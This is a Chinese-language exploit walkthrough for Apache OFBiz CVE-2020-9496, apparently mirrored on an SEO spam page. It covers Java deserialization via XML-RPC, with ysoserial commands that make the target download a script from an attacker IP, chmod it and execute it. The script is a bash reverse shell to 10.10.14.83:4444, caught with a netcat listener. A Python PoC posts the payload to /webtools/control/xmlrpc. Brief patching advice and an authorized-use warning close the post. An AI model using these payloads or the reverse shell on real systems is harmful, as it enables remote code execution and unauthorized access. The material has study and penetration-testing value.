当前位置: 首页 > wzjs >正文

品牌制作网站广州装饰公司

品牌制作网站,广州装饰公司,想做一个自己设计公司的网站怎么做的,怎样做产品推广目录 漏洞原理 🎯 一、漏洞背景(CVE-2020-9496) ⚙️ 二、攻击原理简述 🧱 三、完整攻击流程步骤详解 🔎 1. 信息收集 🛠️ 2. 工具准备 🧪 3. 构造初始 payload:下载恶意脚本…

目录

漏洞原理

🎯 一、漏洞背景(CVE-2020-9496)

⚙️ 二、攻击原理简述

🧱 三、完整攻击流程步骤详解

🔎 1. 信息收集

🛠️ 2. 工具准备

🧪 3. 构造初始 payload:下载恶意脚本

📨 4. 构造 XML-RPC POST 请求

🧪 5. 启动临时 HTTP 服务器

🐚 6. 准备反弹 shell 的脚本 bash.sh

🧨 7. 第二个 payload:修改权限

💥 8. 第三个 payload:执行反弹脚本

📡 9. 启动监听

✅ 四、攻击流程总结图(可选)

🔐 五、安全建议

POC部分

✅ 先决条件(手动准备)

🐍 Python POC 脚本

🧪 使用方法示例

❗ 安全提醒


漏洞原理

对 Apache OFBiz 17.12.01 的远程命令执行漏洞(CVE-2020-9496)的完整利用过程,攻击原理是基于 Java 反序列化 + XML-RPC 请求机制。下面我将逐步分解整个过程,包括漏洞原理、具体步骤、工具使用和攻击链。


🎯 一、漏洞背景(CVE-2020-9496)

Apache OFBiz 是一个基于 Java 的开源企业资源计划软件。其 XML-RPC 接口在处理用户提供的 <serializable> XML 标签时,没有对反序列化对象进行严格校验,导致攻击者可以传入恶意序列化数据,在服务器端反序列化执行任意代码。

该漏洞存在于 /webtools/control/xmlrpc 接口。


⚙️ 二、攻击原理简述

  1. 入口点/webtools/control/xmlrpc 接口接受 XML-RPC 格式的请求。

  2. 利用点:XML 内的 <serializable> 标签支持 Java 对象反序列化。

  3. 漏洞点:OFBiz 未验证反序列化对象的安全性(无黑名单、白名单机制)。

  4. 核心攻击技术:利用 ysoserial 工具构造一个恶意的 Java 序列化对象,包装在 XML 中,并通过 POST 请求发送,造成远程代码执行。


🧱 三、完整攻击流程步骤详解

🔎 1. 信息收集

  • 目标网页登录界面暴露了 OFBiz 的版本:17.12.01

  • 查询得知该版本存在 CVE-2020-9496


🛠️ 2. 工具准备

下载 ysoserial 以生成恶意 Java 反序列化 payload:

git clone https://github.com/frohoff/ysoserial
cd ysoserial
mvn clean package

🧪 3. 构造初始 payload:下载恶意脚本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "curl 10.10.14.83/bash.sh -o /tmp/bash.sh" | base64 | tr -d "\n"

说明:

  • 使用 CommonsBeanutils1 gadget 生成恶意 Java 对象。

  • 命令通过 curl 下载 payload(bash.sh)到 /tmp/bash.sh

  • 使用 base64 编码后放入 XML-RPC 请求的 <serializable> 部分。


📨 4. 构造 XML-RPC POST 请求

发送如下请求到目标的 /webtools/control/xmlrpc 接口:

POST /webtools/control/xmlrpc HTTP/1.1
Host: your-ip
Content-Type: application/xml
Content-Length: 4093<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable></value></member></struct></value></param></params>
</methodCall>

可以用 curl, Burp Suite, Python requests 等发送。


🧪 5. 启动临时 HTTP 服务器

为了让目标通过 curl 下载文件,攻击者启动一个 HTTP 服务:

python3 -m http.server

🐚 6. 准备反弹 shell 的脚本 bash.sh

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.83/4444 0>&1

🧨 7. 第二个 payload:修改权限

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "chmod 777 /tmp/bash.sh" | base64 | tr -d "\n"

同样发送 XML-RPC 请求让目标服务器执行该 payload,赋予可执行权限。


💥 8. 第三个 payload:执行反弹脚本

java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 "bash -c /tmp/bash.sh" | base64 | tr -d "\n"

最后一次请求触发反弹 shell。


📡 9. 启动监听

攻击者开启监听等待连接:

nc -lvvp 4444

目标执行脚本后,即可与攻击者建立反弹连接。


✅ 四、攻击流程总结图(可选)

[1] 信息收集↓
[2] ysoserial 构造 payload(curl 下载)↓
[3] POST XML 到 /webtools/control/xmlrpc↓
[4] HTTP 服务器接收到 curl 请求↓
[5] 构造 payload(chmod 脚本)↓
[6] 构造 payload(执行脚本)↓
[7] Netcat 接收到反弹连接

🔐 五、安全建议

  1. 升级 Apache OFBiz 到安全版本(>= 17.12.02)。

  2. 禁用或限制 /webtools/control/xmlrpc 接口的访问。

  3. 使用 Java 反序列化防护机制(如 Apache Commons IO + ObjectInputFilter)。

  4. 内部资产添加身份验证与访问控制。


POC部分

针对 Apache OFBiz CVE-2020-9496利用 PoC(Proof of Concept)脚本,使用 Python 实现自动化发送恶意 XML-RPC 请求。该脚本会:

  1. 使用你手动生成的 base64 payload(通过 ysoserial)

  2. 构造 XML-RPC 请求体

  3. /webtools/control/xmlrpc 发送 POST 请求


✅ 先决条件(手动准备)

  1. 安装 ysoserial,生成 payload,例如:

    java -jar ysoserial.jar CommonsBeanutils1 "id" | base64 | tr -d "\n"
    
  2. 替换脚本中的 BASE64_PAYLOAD 内容为你生成的内容。


🐍 Python POC 脚本

import requests# =============== 配置区域 ================
target_url = "https://127.0.0.1:8443/webtools/control/xmlrpc"  # 修改为你的目标
base64_payload = "<REPLACE_WITH_YOUR_BASE64_PAYLOAD>"          # 替换成你的base64内容
verify_ssl = False  # 关闭 SSL 验证(自签名证书时使用)# =============== 构造 XML-RPC 请求 ================
xml_body = f'''<?xml version="1.0"?>
<methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{base64_payload}</serializable></value></member></struct></value></param></params>
</methodCall>
'''headers = {"Content-Type": "application/xml","User-Agent": "Mozilla/5.0"
}# =============== 发送请求 ================
print("[*] Sending payload to target...")
response = requests.post(target_url, headers=headers, data=xml_body, verify=verify_ssl)# =============== 输出结果 ================
print(f"[+] Response code: {response.status_code}")
print("[+] Response body:")
print(response.text)

🧪 使用方法示例

假设你想执行 whoami

java -jar ysoserial.jar CommonsBeanutils1 "whoami" | base64 | tr -d "\n"

将生成的 base64 粘贴进脚本中,运行:

python3 exploit_ofbiz_cve2020_9496.py

❗ 安全提醒

该 PoC 仅限于授权测试或靶机环境使用,不得在未授权系统上运行!


http://www.dtcms.com/wzjs/808725.html

相关文章:

  • 深圳傻瓜式网站建设公司好吗成立公司要多少钱
  • 北京免费模板建站手机优化大师为什么扣钱
  • 都江堰市网站建设全网拓客app
  • 营销型制作网站公司智慧团建登录手机版正式版
  • 国家开发银行助学贷款网站怎样用织梦做网站
  • 网站建设的五个基本要素大型公司网站制作
  • 高校微信网站建设情况汇报前台登录wordpress
  • 免费查找资料的网站网站服务器在国外的如何做百度推广
  • 郑州公司网站开发app模板网站模板
  • 肥乡县建设局网站成都公众号小程序开发
  • 网站平台建设咨询合同苏州市吴江建设局网站
  • 长春seo网站排名wordpress怎样建立二级菜单
  • 温州制作网站公司网站设计时图片怎么做
  • 做psd模板下载网站商务网站建设过程中应对可能遇到的风险
  • 福建中江建设公司网站国外免备案域名
  • 北京h5网站建设网页版梦幻西游兑换码最新
  • 滁州做网站网站建设捌金手指下拉二六
  • 婚礼礼服网站界面设计贵安新区住房和城乡建设厅网站
  • 企业官方网站开发外包汕头网站推广找谁
  • 微信分销平台是什么意思优化关键词排名
  • 招聘网站开发时间天津网络推广seo
  • 企业做网页还是网站什么是网站建设的重点
  • 商城网站建设制作设计wordpress访问404
  • 做网站比较便宜深圳注册公司可以申请车牌吗
  • 白云定制型网站建设wordpress主题如何升级
  • 一流的聊城网站建设建设六马路小学网站
  • 网站建设方案华为网站建设需要几个人
  • esp8266做网站比较冷门的视频网站做搬运
  • 公司做网站需要备案吗中文网站开发软件
  • 网站想做个链接怎么做网业截屏怎么截